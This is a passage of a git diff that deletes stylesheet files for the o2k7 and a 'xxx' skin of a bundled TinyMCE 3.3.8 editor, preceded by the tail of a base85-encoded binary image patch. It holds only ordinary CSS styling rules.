zhoN|xb6z?(C(OXNeio?91RU=H0IvOZk=t(m;#^_H#4j{gps5xS*M76PNc)#Z#YNxG ziV!N#^i_O(Q*TlwRk0u{wdK&9Q_#P8{fY~KbKOP@%m6t7<fNK*b`Nr*+xh?u>Q#fr z6(&y=#~QAtQ!vp0V0x&ttt5csqa28v*RKG_N5#EX2FeV0Jl4nlM=tICkBWPb$GWXo z+@j2iWlp6fpqDxQv_v1P%!ka5<0Jz&aqHWHjHo#FZ)M=#a_bw+j+mn}px!qeOTe}Q zY!hrb(x+I|44{$<Pb%u#0$ir^`JWc+nkc!l&C9K2D1li8HqoF1J><bbZ2%Soh`xVY zAAqO4j#yoS5IV--I2R@+!8!)IEJP==q^U_)DduqNVwFU$H)_;NC(JbJod?#=7T!HG z*l==`t%D$f;$o(7)~@j0tTh>-^&C&VxQs>Iq8|c?*8SU-N@Z4=h=ATktzooG$I%jf zM^9NqP`kBL{y`K^Q5aM2ED-e}OpJ=ndH@$KuK0e+hz~1_tWL#>s0WxKT0l$<IM@?l z0N}5^3O@Sh36CuDZ@$RH`pW?5!YhFho&lmpt4HVB%^)T~Z1}hJa+NQ<0Y3T*(0?VL z;}nsT0<!Ct$pEMA=4;{bJ@+y|^;~xM?mb+6y`ig20(kK!t5tHN(I@~4BMgVb)l=13 z<zQv>@h4C8d{u@yJ}>WAE3Fd(@KviX7h9|z;NfuiI1EEH+t=KPgTM3Aw^tS8%B9EP z^FIQ3GY}A4!0e!2MEv!BH|*f^eOPO4vn>O8GOk!rNj0Vl^C`K{oB$@Vy3__9;QQZu zsT%<I_^aGw)6pLRHCN7cE-&(|veMog7bzk;oiq=Pv8st=sfVDb8%x4sOeYIINu84^ zo~A>p6nI|0@Px#?8vwI><OF$~bHlwQF;H&5ED{%{%)#^eEm|s?b|M-PtLelE3^9yX zM$U42Yr&7ZNTtGl2rh=_b$iqZq^2F=;Dde4D>zRXr6&qMS=T9077Cn~IJ)5MpqpvI zv*Y?!y^a9vbgF8avwNRNI6?R_xcWD=lsNK`)oC{XE_1H47NP>Y@&~8_J8U8J9{vFU zaP8Kjt$p*SAL^5fKL#$m)&YR~8wE(E1t_M@-d$N4PclpTv(-N;ISMKwaxkx7!L@h) z?Ofv@=u{EZUkCL!fwc{Yb$ys~>ThPh>-m8-eczl@e;u@L&NuaSNK0aRs52VW1Ma=! zW`6IzQ`|$`4H1F0bD)atgv*kf_TDsm_bxeM`GEfvi4`EMXxeA*;pX*U0iV6+){Bk+ z%x6ReTe}PSOr2szl;!Ry`!)GE+Z)6|z#gj^AWExl?*DF~j;SAfiH08s_s-@COXCse zt1K&4O)3x&A>UQ0%;Mqbl!n9UBEXfN+*(&e#D=3fmi?ZrZcfuxmO$jOUxm5?aMX7! zfjl>t#TnF+1%XC-2r6=Uu4xg9gQtKv<DtI$-2hniH*)z(F#B7yvYN50_}nO_ZZo&C zNFu8XY727;M4QhJ2NTTdb<M4u$yBmz0+E@>c9uisyY6kqWefa}R)j}lGU^Bi!vc^> z9-S($V$V6bv=SaqzQ4o2%)s%<B7!!*+ZjhAjxPTk{I6d_z;%ZijM&M%v9khYVUPZ4 z1>DcQ3_4T)pHJ_8n&Rr~9ROG-5#LxX)wLf6NO|fq`uOj7mdgJI0H2v4wf~~Kng9R* M07*qoM6N<$f@g#ZbN~PV diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui.css deleted file mode 100644 index a625397..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui.css +++ /dev/null @@ -1,215 +0,0 @@ -/* Reset */ -.o2k7Skin table, .o2k7Skin tbody, .o2k7Skin a, .o2k7Skin img, .o2k7Skin tr, .o2k7Skin div, .o2k7Skin td, .o2k7Skin iframe, .o2k7Skin span, .o2k7Skin *, .o2k7Skin .mceText {border:0; margin:0; padding:0; background:transparent; white-space:nowrap; text-decoration:none; font-weight:normal; cursor:default; color:#000; vertical-align:baseline; width:auto; border-collapse:separate; text-align:left} -.o2k7Skin a:hover, .o2k7Skin a:link, .o2k7Skin a:visited, .o2k7Skin a:active {text-decoration:none; font-weight:normal; cursor:default; color:#000} -.o2k7Skin table td {vertical-align:middle} - -/* Containers */ -.o2k7Skin table {background:#E5EFFD} -.o2k7Skin iframe {display:block; background:#FFF} -.o2k7Skin .mceToolbar {height:26px} - -/* External */ -.o2k7Skin .mceExternalToolbar {position:absolute; border:1px solid #ABC6DD; border-bottom:0; display:none} -.o2k7Skin .mceExternalToolbar td.mceToolbar {padding-right:13px;} -.o2k7Skin .mceExternalClose {position:absolute; top:3px; right:3px; width:7px; height:7px; background:url(../../img/icons.gif) -820px 0} - -/* Layout */ -.o2k7Skin table.mceLayout {border:0; border-left:1px solid #ABC6DD; border-right:1px solid #ABC6DD} -.o2k7Skin table.mceLayout tr.mceFirst td {border-top:1px solid #ABC6DD} -.o2k7Skin table.mceLayout tr.mceLast td {border-bottom:1px solid #ABC6DD} -.o2k7Skin table.mceToolbar, .o2k7Skin tr.mceFirst .mceToolbar tr td, .o2k7Skin tr.mceLast .mceToolbar tr td {border:0; margin:0; padding:0} -.o2k7Skin .mceIframeContainer {border-top:1px solid #ABC6DD; border-bottom:1px solid #ABC6DD} -.o2k7Skin .mceStatusbar {display:block; font-family:'MS Sans Serif',sans-serif,Verdana,Arial; font-size:9pt; line-height:16px; overflow:visible; color:#000; height:20px} -.o2k7Skin .mceStatusbar div {float:left; padding:2px} -.o2k7Skin .mceStatusbar a.mceResize {display:block; float:right; background:url(../../img/icons.gif) -800px 0; width:20px; height:20px; cursor:se-resize; outline:0} -.o2k7Skin .mceStatusbar a:hover {text-decoration:underline} -.o2k7Skin table.mceToolbar {margin-left:3px} -.o2k7Skin .mceToolbar .mceToolbarStart span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px; margin-left:3px;} -.o2k7Skin .mceToolbar td.mceFirst span {margin:0} -.o2k7Skin .mceToolbar .mceToolbarEnd span {display:block; background:url(img/button_bg.png) -22px 0; width:1px; height:22px} -.o2k7Skin .mceToolbar .mceToolbarEndListBox span, .o2k7Skin .mceToolbar .mceToolbarStartListBox span {display:none} -.o2k7Skin span.mceIcon, .o2k7Skin img.mceIcon {display:block; width:20px; height:20px} -.o2k7Skin .mceIcon {background:url(../../img/icons.gif) no-repeat 20px 20px} -.o2k7Skin td.mceCenter {text-align:center;} -.o2k7Skin td.mceCenter table {margin:0 auto; text-align:left;} -.o2k7Skin td.mceRight table {margin:0 0 0 auto;} - -/* Button */ -.o2k7Skin .mceButton {display:block; background:url(img/button_bg.png); width:22px; height:22px} -.o2k7Skin a.mceButton span, .o2k7Skin a.mceButton img {margin-left:1px} -.o2k7Skin .mceOldBoxModel a.mceButton span, .o2k7Skin .mceOldBoxModel a.mceButton img {margin:0 0 0 1px} -.o2k7Skin a.mceButtonEnabled:hover {background-color:#B2BBD0; background-position:0 -22px} -.o2k7Skin a.mceButtonActive, .o2k7Skin a.mceButtonSelected {background-position:0 -44px} -.o2k7Skin .mceButtonDisabled .mceIcon {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.o2k7Skin .mceButtonLabeled {width:auto} -.o2k7Skin .mceButtonLabeled span.mceIcon {float:left} -.o2k7Skin span.mceButtonLabel {display:block; font-size:10px; padding:4px 6px 0 22px; font-family:Tahoma,Verdana,Arial,Helvetica} -.o2k7Skin .mceButtonDisabled .mceButtonLabel {color:#888} - -/* Separator */ -.o2k7Skin .mceSeparator {display:block; background:url(img/button_bg.png) -22px 0; width:5px; height:22px} - -/* ListBox */ -.o2k7Skin .mceListBox {margin-left:3px} -.o2k7Skin .mceListBox, .o2k7Skin .mceListBox a {display:block} -.o2k7Skin .mceListBox .mceText {padding-left:4px; text-align:left; width:70px; border:1px solid #b3c7e1; border-right:0; background:#eaf2fb; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; height:20px; line-height:20px; overflow:hidden} -.o2k7Skin .mceListBox .mceOpen {width:14px; height:22px; background:url(img/button_bg.png) -66px 0} -.o2k7Skin table.mceListBoxEnabled:hover .mceText, .o2k7Skin .mceListBoxHover .mceText, .o2k7Skin .mceListBoxSelected .mceText {background:#FFF} -.o2k7Skin table.mceListBoxEnabled:hover .mceOpen, .o2k7Skin .mceListBoxHover .mceOpen, .o2k7Skin .mceListBoxSelected .mceOpen {background-position:-66px -22px} -.o2k7Skin .mceListBoxDisabled .mceText {color:gray} -.o2k7Skin .mceListBoxMenu {overflow:auto; overflow-x:hidden} -.o2k7Skin .mceOldBoxModel .mceListBox .mceText {height:22px} -.o2k7Skin select.mceListBox {font-family:Tahoma,Verdana,Arial,Helvetica; font-size:12px; border:1px solid #b3c7e1; background:#FFF;} - -/* SplitButton */ -.o2k7Skin .mceSplitButton, .o2k7Skin .mceSplitButton a, .o2k7Skin .mceSplitButton span {display:block; height:22px} -.o2k7Skin .mceSplitButton {background:url(img/button_bg.png)} -.o2k7Skin .mceSplitButton a.mceAction {width:22px} -.o2k7Skin .mceSplitButton span.mceAction {width:22px; background-image:url(../../img/icons.gif)} -.o2k7Skin .mceSplitButton a.mceOpen {width:10px; background:url(img/button_bg.png) -44px 0} -.o2k7Skin .mceSplitButton span.mceOpen {display:none} -.o2k7Skin table.mceSplitButtonEnabled:hover a.mceAction, .o2k7Skin .mceSplitButtonHover a.mceAction, .o2k7Skin .mceSplitButtonSelected {background:url(img/button_bg.png) 0 -22px} -.o2k7Skin table.mceSplitButtonEnabled:hover a.mceOpen, .o2k7Skin .mceSplitButtonHover a.mceOpen, .o2k7Skin .mceSplitButtonSelected a.mceOpen {background-position:-44px -44px} -.o2k7Skin .mceSplitButtonDisabled .mceAction {opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -.o2k7Skin .mceSplitButtonActive {background-position:0 -44px} - -/* ColorSplitButton */ -.o2k7Skin div.mceColorSplitMenu table {background:#FFF; border:1px solid gray} -.o2k7Skin .mceColorSplitMenu td {padding:2px} -.o2k7Skin .mceColorSplitMenu a {display:block; width:9px; height:9px; overflow:hidden; border:1px solid #808080} -.o2k7Skin .mceColorSplitMenu td.mceMoreColors {padding:1px 3px 1px 1px} -.o2k7Skin .mceColorSplitMenu a.mceMoreColors {width:100%; height:auto; text-align:center; font-family:Tahoma,Verdana,Arial,Helvetica; font-size:11px; line-height:20px; border:1px solid #FFF} -.o2k7Skin .mceColorSplitMenu a.mceMoreColors:hover {border:1px solid #0A246A; background-color:#B6BDD2} -.o2k7Skin a.mceMoreColors:hover {border:1px solid #0A246A} -.o2k7Skin .mceColorPreview {margin-left:2px; width:16px; height:4px; overflow:hidden; background:#9a9b9a;overflow:hidden} -.o2k7Skin .mce_forecolor span.mceAction, .o2k7Skin .mce_backcolor span.mceAction {height:15px;overflow:hidden} - -/* Menu */ -.o2k7Skin .mceMenu {position:absolute; left:0; top:0; z-index:1000; border:1px solid #ABC6DD} -.o2k7Skin .mceNoIcons span.mceIcon {width:0;} -.o2k7Skin .mceNoIcons a .mceText {padding-left:10px} -.o2k7Skin .mceMenu table {background:#FFF} -.o2k7Skin .mceMenu a, .o2k7Skin .mceMenu span, .o2k7Skin .mceMenu {display:block} -.o2k7Skin .mceMenu td {height:20px} -.o2k7Skin .mceMenu a {position:relative;padding:3px 0 4px 0} -.o2k7Skin .mceMenu .mceText {position:relative; display:block; font-family:Tahoma,Verdana,Arial,Helvetica; color:#000; cursor:default; margin:0; padding:0 25px 0 25px; display:block} -.o2k7Skin .mceMenu span.mceText, .o2k7Skin .mceMenu .mcePreview {font-size:11px} -.o2k7Skin .mceMenu pre.mceText {font-family:Monospace} -.o2k7Skin .mceMenu .mceIcon {position:absolute; top:0; left:0; width:22px;} -.o2k7Skin .mceMenu .mceMenuItemEnabled a:hover, .o2k7Skin .mceMenu .mceMenuItemActive {background-color:#dbecf3} -.o2k7Skin td.mceMenuItemSeparator {background:#DDD; height:1px} -.o2k7Skin .mceMenuItemTitle a {border:0; background:#E5EFFD; border-bottom:1px solid #ABC6DD} -.o2k7Skin .mceMenuItemTitle span.mceText {color:#000; font-weight:bold; padding-left:4px} -.o2k7Skin .mceMenuItemDisabled .mceText {color:#888} -.o2k7Skin .mceMenuItemSelected .mceIcon {background:url(../default/img/menu_check.gif)} -.o2k7Skin .mceNoIcons .mceMenuItemSelected a {background:url(../default/img/menu_arrow.gif) no-repeat -6px center} -.o2k7Skin .mceMenu span.mceMenuLine {display:none} -.o2k7Skin .mceMenuItemSub a {background:url(../default/img/menu_arrow.gif) no-repeat top right;} - -/* Progress,Resize */ -.o2k7Skin .mceBlocker {position:absolute; left:0; top:0; z-index:1000; opacity:0.5; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=50); background:#FFF} -.o2k7Skin .mceProgress {position:absolute; left:0; top:0; z-index:1001; background:url(../default/img/progress.gif) no-repeat; width:32px; height:32px; margin:-16px 0 0 -16px} - -/* Formats */ -.o2k7Skin .mce_formatPreview a {font-size:10px} -.o2k7Skin .mce_p span.mceText {} -.o2k7Skin .mce_address span.mceText {font-style:italic} -.o2k7Skin .mce_pre span.mceText {font-family:monospace} -.o2k7Skin .mce_h1 span.mceText {font-weight:bolder; font-size: 2em} -.o2k7Skin .mce_h2 span.mceText {font-weight:bolder; font-size: 1.5em} -.o2k7Skin .mce_h3 span.mceText {font-weight:bolder; font-size: 1.17em} -.o2k7Skin .mce_h4 span.mceText {font-weight:bolder; font-size: 1em} -.o2k7Skin .mce_h5 span.mceText {font-weight:bolder; font-size: .83em} -.o2k7Skin .mce_h6 span.mceText {font-weight:bolder; font-size: .75em} - -/* Theme */ -.o2k7Skin span.mce_bold {background-position:0 0} -.o2k7Skin span.mce_italic {background-position:-60px 0} -.o2k7Skin span.mce_underline {background-position:-140px 0} -.o2k7Skin span.mce_strikethrough {background-position:-120px 0} -.o2k7Skin span.mce_undo {background-position:-160px 0} -.o2k7Skin span.mce_redo {background-position:-100px 0} -.o2k7Skin span.mce_cleanup {background-position:-40px 0} -.o2k7Skin span.mce_bullist {background-position:-20px 0} -.o2k7Skin span.mce_numlist {background-position:-80px 0} -.o2k7Skin span.mce_justifyleft {background-position:-460px 0} -.o2k7Skin span.mce_justifyright {background-position:-480px 0} -.o2k7Skin span.mce_justifycenter {background-position:-420px 0} -.o2k7Skin span.mce_justifyfull {background-position:-440px 0} -.o2k7Skin span.mce_anchor {background-position:-200px 0} -.o2k7Skin span.mce_indent {background-position:-400px 0} -.o2k7Skin span.mce_outdent {background-position:-540px 0} -.o2k7Skin span.mce_link {background-position:-500px 0} -.o2k7Skin span.mce_unlink {background-position:-640px 0} -.o2k7Skin span.mce_sub {background-position:-600px 0} -.o2k7Skin span.mce_sup {background-position:-620px 0} -.o2k7Skin span.mce_removeformat {background-position:-580px 0} -.o2k7Skin span.mce_newdocument {background-position:-520px 0} -.o2k7Skin span.mce_image {background-position:-380px 0} -.o2k7Skin span.mce_help {background-position:-340px 0} -.o2k7Skin span.mce_code {background-position:-260px 0} -.o2k7Skin span.mce_hr {background-position:-360px 0} -.o2k7Skin span.mce_visualaid {background-position:-660px 0} -.o2k7Skin span.mce_charmap {background-position:-240px 0} -.o2k7Skin span.mce_paste {background-position:-560px 0} -.o2k7Skin span.mce_copy {background-position:-700px 0} -.o2k7Skin span.mce_cut {background-position:-680px 0} -.o2k7Skin span.mce_blockquote {background-position:-220px 0} -.o2k7Skin .mce_forecolor span.mceAction {background-position:-720px 0} -.o2k7Skin .mce_backcolor span.mceAction {background-position:-760px 0} -.o2k7Skin span.mce_forecolorpicker {background-position:-720px 0} -.o2k7Skin span.mce_backcolorpicker {background-position:-760px 0} - -/* Plugins */ -.o2k7Skin span.mce_advhr {background-position:-0px -20px} -.o2k7Skin span.mce_ltr {background-position:-20px -20px} -.o2k7Skin span.mce_rtl {background-position:-40px -20px} -.o2k7Skin span.mce_emotions {background-position:-60px -20px} -.o2k7Skin span.mce_fullpage {background-position:-80px -20px} -.o2k7Skin span.mce_fullscreen {background-position:-100px -20px} -.o2k7Skin span.mce_iespell {background-position:-120px -20px} -.o2k7Skin span.mce_insertdate {background-position:-140px -20px} -.o2k7Skin span.mce_inserttime {background-position:-160px -20px} -.o2k7Skin span.mce_absolute {background-position:-180px -20px} -.o2k7Skin span.mce_backward {background-position:-200px -20px} -.o2k7Skin span.mce_forward {background-position:-220px -20px} -.o2k7Skin span.mce_insert_layer {background-position:-240px -20px} -.o2k7Skin span.mce_insertlayer {background-position:-260px -20px} -.o2k7Skin span.mce_movebackward {background-position:-280px -20px} -.o2k7Skin span.mce_moveforward {background-position:-300px -20px} -.o2k7Skin span.mce_media {background-position:-320px -20px} -.o2k7Skin span.mce_nonbreaking {background-position:-340px -20px} -.o2k7Skin span.mce_pastetext {background-position:-360px -20px} -.o2k7Skin span.mce_pasteword {background-position:-380px -20px} -.o2k7Skin span.mce_selectall {background-position:-400px -20px} -.o2k7Skin span.mce_preview {background-position:-420px -20px} -.o2k7Skin span.mce_print {background-position:-440px -20px} -.o2k7Skin span.mce_cancel {background-position:-460px -20px} -.o2k7Skin span.mce_save {background-position:-480px -20px} -.o2k7Skin span.mce_replace {background-position:-500px -20px} -.o2k7Skin span.mce_search {background-position:-520px -20px} -.o2k7Skin span.mce_styleprops {background-position:-560px -20px} -.o2k7Skin span.mce_table {background-position:-580px -20px} -.o2k7Skin span.mce_cell_props {background-position:-600px -20px} -.o2k7Skin span.mce_delete_table {background-position:-620px -20px} -.o2k7Skin span.mce_delete_col {background-position:-640px -20px} -.o2k7Skin span.mce_delete_row {background-position:-660px -20px} -.o2k7Skin span.mce_col_after {background-position:-680px -20px} -.o2k7Skin span.mce_col_before {background-position:-700px -20px} -.o2k7Skin span.mce_row_after {background-position:-720px -20px} -.o2k7Skin span.mce_row_before {background-position:-740px -20px} -.o2k7Skin span.mce_merge_cells {background-position:-760px -20px} -.o2k7Skin span.mce_table_props {background-position:-980px -20px} -.o2k7Skin span.mce_row_props {background-position:-780px -20px} -.o2k7Skin span.mce_split_cells {background-position:-800px -20px} -.o2k7Skin span.mce_template {background-position:-820px -20px} -.o2k7Skin span.mce_visualchars {background-position:-840px -20px} -.o2k7Skin span.mce_abbr {background-position:-860px -20px} -.o2k7Skin span.mce_acronym {background-position:-880px -20px} -.o2k7Skin span.mce_attribs {background-position:-900px -20px} -.o2k7Skin span.mce_cite {background-position:-920px -20px} -.o2k7Skin span.mce_del {background-position:-940px -20px} -.o2k7Skin span.mce_ins {background-position:-960px -20px} -.o2k7Skin span.mce_pagebreak {background-position:0 -40px} -.o2k7Skin span.mce_restoredraft {background-position:-20px -40px} -.o2k7Skin span.mce_spellchecker {background-position:-540px -20px} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_black.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_black.css deleted file mode 100644 index 153f0c3..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_black.css +++ /dev/null @@ -1,8 +0,0 @@ -/* Black */ -.o2k7SkinBlack .mceToolbar .mceToolbarStart span, .o2k7SkinBlack .mceToolbar .mceToolbarEnd span, .o2k7SkinBlack .mceButton, .o2k7SkinBlack .mceSplitButton, .o2k7SkinBlack .mceSeparator, .o2k7SkinBlack .mceSplitButton a.mceOpen, .o2k7SkinBlack .mceListBox a.mceOpen {background-image:url(img/button_bg_black.png)} -.o2k7SkinBlack table, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack .mceMenuItemTitle span.mceText, .o2k7SkinBlack .mceStatusbar div, .o2k7SkinBlack .mceStatusbar span, .o2k7SkinBlack .mceStatusbar a {background:#535353; color:#FFF} -.o2k7SkinBlack table.mceListBoxEnabled .mceText, o2k7SkinBlack .mceListBox .mceText {background:#FFF; border:1px solid #CBCFD4; border-bottom-color:#989FA9; border-right:0} -.o2k7SkinBlack table.mceListBoxEnabled:hover .mceText, .o2k7SkinBlack .mceListBoxHover .mceText, .o2k7SkinBlack .mceListBoxSelected .mceText {background:#FFF; border:1px solid #FFBD69; border-right:0} -.o2k7SkinBlack .mceExternalToolbar, .o2k7SkinBlack .mceListBox .mceText, .o2k7SkinBlack div.mceMenu, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceFirst td, .o2k7SkinBlack table.mceLayout, .o2k7SkinBlack .mceMenuItemTitle a, .o2k7SkinBlack table.mceLayout tr.mceLast td, .o2k7SkinBlack .mceIframeContainer {border-color: #535353;} -.o2k7SkinBlack table.mceSplitButtonEnabled:hover a.mceAction, .o2k7SkinBlack .mceSplitButtonHover a.mceAction, .o2k7SkinBlack .mceSplitButtonSelected {background-image:url(img/button_bg_black.png)} -.o2k7SkinBlack .mceMenu .mceMenuItemEnabled a:hover, .o2k7SkinBlack .mceMenu .mceMenuItemActive {background-color:#FFE7A1} \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css deleted file mode 100644 index 7fe3b45..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/o2k7/ui_silver.css +++ /dev/null @@ -1,5 +0,0 @@ -/* Silver */ -.o2k7SkinSilver .mceToolbar .mceToolbarStart span, .o2k7SkinSilver .mceButton, .o2k7SkinSilver .mceSplitButton, .o2k7SkinSilver .mceSeparator, .o2k7SkinSilver .mceSplitButton a.mceOpen, .o2k7SkinSilver .mceListBox a.mceOpen {background-image:url(img/button_bg_silver.png)} -.o2k7SkinSilver table, .o2k7SkinSilver .mceMenuItemTitle a {background:#eee} -.o2k7SkinSilver .mceListBox .mceText {background:#FFF} -.o2k7SkinSilver .mceExternalToolbar, .o2k7SkinSilver .mceListBox .mceText, .o2k7SkinSilver div.mceMenu, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceFirst td, .o2k7SkinSilver table.mceLayout, .o2k7SkinSilver .mceMenuItemTitle a, .o2k7SkinSilver table.mceLayout tr.mceLast td, .o2k7SkinSilver .mceIframeContainer {border-color: #bbb} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/content.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/content.css deleted file mode 100644 index 9fba043..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/content.css +++ /dev/null @@ -1,36 +0,0 @@ -body, td, pre {color:#000; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px; margin:8px;} -body {background:#FFF;} -body.mceForceColors {background:#FFF; color:#000;} -h1 {font-size: 2em} -h2 {font-size: 1.5em} -h3 {font-size: 1.17em} -h4 {font-size: 1em} -h5 {font-size: .83em} -h6 {font-size: .75em} -.mceItemTable, .mceItemTable td, .mceItemTable th, .mceItemTable caption, .mceItemVisualAid {border: 1px dashed #BBB;} -a.mceItemAnchor {display:inline-block; width:11px !important; height:11px !important; background:url(img/items.gif) no-repeat 0 0;} -span.mceItemNbsp {background: #DDD} -td.mceSelected, th.mceSelected {background-color:#3399ff !important} -img {border:0;} -table {cursor:default} -table td, table th {cursor:text} -ins {border-bottom:1px solid green; text-decoration: none; color:green} -del {color:red; text-decoration:line-through} -cite {border-bottom:1px dashed blue} -acronym {border-bottom:1px dotted #CCC; cursor:help} -abbr {border-bottom:1px dashed #CCC; cursor:help} - -/* IE */ -* html body { -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -} - -img:-moz-broken {-moz-force-broken-image-icon:1; width:24px; height:24px} -font[face=mceinline] {font-family:inherit !important} diff --git a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/dialog.css b/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/dialog.css deleted file mode 100644 index f012226..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/themes/advanced/skins/xxx/dialog.css +++ /dev/null @@ -1,117 +0,0 @@ -/* Generic */ -body { -font-family:Verdana, Arial, Helvetica, sans-serif; font-size:11px; -scrollbar-3dlight-color:#F0F0EE; -scrollbar-arrow-color:#676662; -scrollbar-base-color:#F0F0EE; -scrollbar-darkshadow-color:#DDDDDD; -scrollbar-face-color:#E0E0DD; -scrollbar-highlight-color:#F0F0EE; -scrollbar-shadow-color:#F0F0EE; -scrollbar-track-color:#F5F5F5; -background:#F0F0EE; -padding:0; -margin:8px 8px 0 8px; -} - -html {background:#F0F0EE;} -td {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -textarea {resize:none;outline:none;} -a:link, a:visited {color:black;} -a:hover {color:#2B6FB6;} -.nowrap {white-space: nowrap} - -/* Forms */ -fieldset {margin:0; padding:4px; border:1px solid #919B9C; font-family:Verdana, Arial; font-size:10px;} -legend {color:#2B6FB6; font-weight:bold;} -label.msg {display:none;} -label.invalid {color:#EE0000; display:inline;} -input.invalid {border:1px solid #EE0000;} -input {background:#FFF; border:1px solid #CCC;} -input, select, textarea {font-family:Verdana, Arial, Helvetica, sans-serif; font-size:10px;} -input, select, textarea {border:1px solid #808080;} -input.radio {border:1px none #000000; background:transparent; vertical-align:middle;} -input.checkbox {border:1px none #000000; background:transparent; vertical-align:middle;} -.input_noborder {border:0;} - -/* Buttons */ -#insert, #cancel, input.button, .updateButton { -border:0; margin:0; padding:0; -font-weight:bold; -width:94px; height:26px; -background:url(img/buttons.png) 0 -26px; -cursor:pointer; -padding-bottom:2px; -float:left; -} - -#insert {background:url(img/buttons.png) 0 -52px} -#cancel {background:url(img/buttons.png) 0 0; float:right} - -/* Browse */ -a.pickcolor, a.browse {text-decoration:none} -a.browse span {display:block; width:20px; height:18px; background:url(../../img/icons.gif) -860px 0; border:1px solid #FFF; margin-left:1px;} -.mceOldBoxModel a.browse span {width:22px; height:20px;} -a.browse:hover span {border:1px solid #0A246A; background-color:#B2BBD0;} -a.browse span.disabled {border:1px solid white; opacity:0.3; -ms-filter:'alpha(opacity=30)'; filter:alpha(opacity=30)} -a.browse:hover span.disabled {border:1px solid white; background-color:transparent;} -a.pickcolor span {display:block; width:20px; height:16px; background:url(../../img/icons.gif) -840px 0; margin-left:2px;} -.mceOldBoxModel a.pickcolor span {width:21px; height:17px;} -a.pickcolor:hover span {background-color:#B2BBD0;} -a.pickcolor:hover span.disabled {} - -/* Charmap */ -table.charmap {border:1px solid #AAA; text-align:center} -td.charmap, #charmap a {width:18px; height:18px; color:#000; border:1px solid #AAA; text-align:center; font-size:12px; vertical-align:middle; line-height: 18px;} -#charmap a {display:block; color:#000; text-decoration:none; border:0} -#charmap a:hover {background:#CCC;color:#2B6FB6} -#charmap #codeN {font-size:10px; font-family:Arial,Helvetica,sans-serif; text-align:center} -#charmap #codeV {font-size:40px; height:80px; border:1px solid #AAA; text-align:center} - -/* Source */ -.wordWrapCode {vertical-align:middle; border:1px none #000000; background:transparent;} -.mceActionPanel {margin-top:5px;} - -/* Tabs classes */ -.tabs {width:100%; height:18px; line-height:normal; background:url(img/tabs.gif) repeat-x 0 -72px;} -.tabs ul {margin:0; padding:0; list-style:none;} -.tabs li {float:left; background:url(img/tabs.gif) no-repeat 0 0; margin:0 2px 0 0; padding:0 0 0 10px; line-height:17px; height:18px; display:block;} -.tabs li.current {background:url(img/tabs.gif) no-repeat 0 -18px; margin-right:2px;} -.tabs span {float:left; display:block; background:url(img/tabs.gif) no-repeat right -36px; padding:0px 10px 0 0;} -.tabs .current span {background:url(img/tabs.gif) no-repeat right -54px;} -.tabs a {text-decoration:none; font-family:Verdana, Arial; font-size:10px;} -.tabs a:link, .tabs a:visited, .tabs a:hover {color:black;} - -/* Panels */ -.panel_wrapper div.panel {display:none;} -.panel_wrapper div.current {display:block; width:100%; height:300px; overflow:visible;} -.panel_wrapper {border:1px solid #919B9C; border-top:0px; padding:10px; padding-top:5px; clear:both; background:white;} - -/* Columns */ -.column {float:left;} -.properties {width:100%;} -.properties .column1 {} -.properties .column2 {text-align:left;} - -/* Titles */ -h1, h2, h3, h4 {color:#2B6FB6; margin:0; padding:0; padding-top:5px;} -h3 {font-size:14px;} -.title {font-size:12px; font-weight:bold; color:#2B6FB6;} - -/* Dialog specific */ -#link .panel_wrapper, #link div.current {height:125px;} -#image .panel_wrapper, #image div.current {height:200px;} -#plugintable thead {font-weight:bold; background:#DDD;} -#plugintable, #about #plugintable td {border:1px solid #919B9C;} -#plugintable {width:96%; margin-top:10px;} -#pluginscontainer {height:290px; overflow:auto;} -#colorpicker #preview {float:right; width:50px; height:14px;line-height:1px; border:1px solid black; margin-left:5px;} -#colorpicker #colors {float:left; border:1px solid gray; cursor:crosshair;} -#colorpicker #light {border:1px solid gray; margin-left:5px; float:left;width:15px; height:150px; cursor:crosshair;} -#colorpicker #light div {overflow:hidden;} -#colorpicker #previewblock {float:right; padding-left:10px; height:20px;} -#colorpicker .panel_wrapper div.current {height:175px;} -#colorpicker #namedcolors {width:150px;} -#colorpicker #namedcolors a {display:block; float:left; width:10px; height:10px; margin:1px 1px 0 0; overflow:hidden;} -#colorpicker #colornamecontainer {margin-top:5px;} -#colorpicker #picker_panel fieldset {margin:auto;width:325px;} diff --git 